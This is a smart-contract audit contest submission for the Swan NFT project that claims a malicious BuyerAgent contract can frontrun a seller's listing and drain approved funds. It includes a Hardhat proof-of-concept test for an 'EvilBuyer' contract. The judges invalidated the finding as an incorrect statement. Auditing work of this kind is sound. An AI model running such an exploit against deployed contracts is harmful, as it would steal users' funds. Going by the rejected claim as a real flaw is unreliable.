Dria

Swan
NFTHardhat
21,000 USDC
View results
Submission Details
Severity: high
Invalid

Malicious buyer address can frontrun a listing changing it's royalty fees

Summary

A BuyerAgent contract with a custom BuyerAgent::setFeeRoyalty function can be used to frontrun a seller when they Swan::list their asset, setting their royalty to whatever percentage is needed and draining whatever the amount of approved funds is for that seller.

Vulnerability Details

A malicious actor can deploy a BuyerAgent contract that has the following logic in their setFeeRoyalty function:

function setFeeRoyalty(uint96 _fee) public onlyOwner {
royaltyFee = _fee;
}

Essentially removing all checks for the round phase and fee amount.

This contract is seen as a valid BuyerAgent contract when passed to the Swan::list function.

If a seller pre approves funds to pay the fees before doing multiple listings the malicious BuyerAgent can frontrun its list transsaction and set their fee to a percentage that equals the total of the approved funds by the seller, through the custom setFeeRoyalty function this could be set to more than 100% if necessary.

POC

Create an EvilBuyer.sol file, copy all the code from BuyerAgent.sol and modify the setFeeRoyalty function so it looks like this:

function setFeeRoyalty(uint96 _fee) public onlyOwner {
royaltyFee = _fee;
}

NOTE: BuyerAgentFactory and BuyerAgent contract names in EvilBuyer.sol must be changed as well to avoid contract name collisions in hardhat, we can change these to EvilBuyerFactory and EvilBuyer respectively.

Add the following test to Swan.test.ts right above the "Sell phase #1: listing" test:

describe("Audit PoCs", () => {
it("should steal funds", async function() {
// Deploy evilBuyer contract
const operator = await swan.getAddress();
const EvilBuyerFactory = await ethers.getContractFactory("EvilBuyer", buyer);
const evilBuyer = await EvilBuyerFactory.deploy(
"BuyerAgent#3",
"Description of BuyerAgent 3",
ROYALTY_FEE,
AMOUNT_PER_ROUND,
operator,
buyer
);
// Calculate new fee to extract all approved funds
const ammountToSteal = FEE_AMOUNT1 + FEE_AMOUNT2 + FEE_AMOUNT3 + FEE_AMOUNT1 + FEE_AMOUNT2;
const newFee = (ammountToSteal * 100n) / PRICE1;
// evil buyer frontruns the list transaction
evilBuyer.connect(buyer).setFeeRoyalty(newFee);
// unsuspecting seller lists asset
await swan.connect(seller).list(NAME, SYMBOL, DESC, PRICE1, await evilBuyer.getAddress());
});
});

The test passes, meaning the full approved amount set by the seller has been stolen by the buyer, minus the platform fee.

Impact

User funds stolen

Tools Used

Manual review + hardhat tests

Recommendations

Create a mapping of valid buyer agent addresses that have been created through the Swan::createBuyer function and add a check in the Swan::list function that verifies the address _buyer parameter is a buyer registered in that mapping.

Updates

Lead Judging Commences

inallhonesty Lead Judge 10 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Appeal created

octeezy Submitter
10 months ago
inallhonesty Lead Judge
9 months ago
inallhonesty Lead Judge 9 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.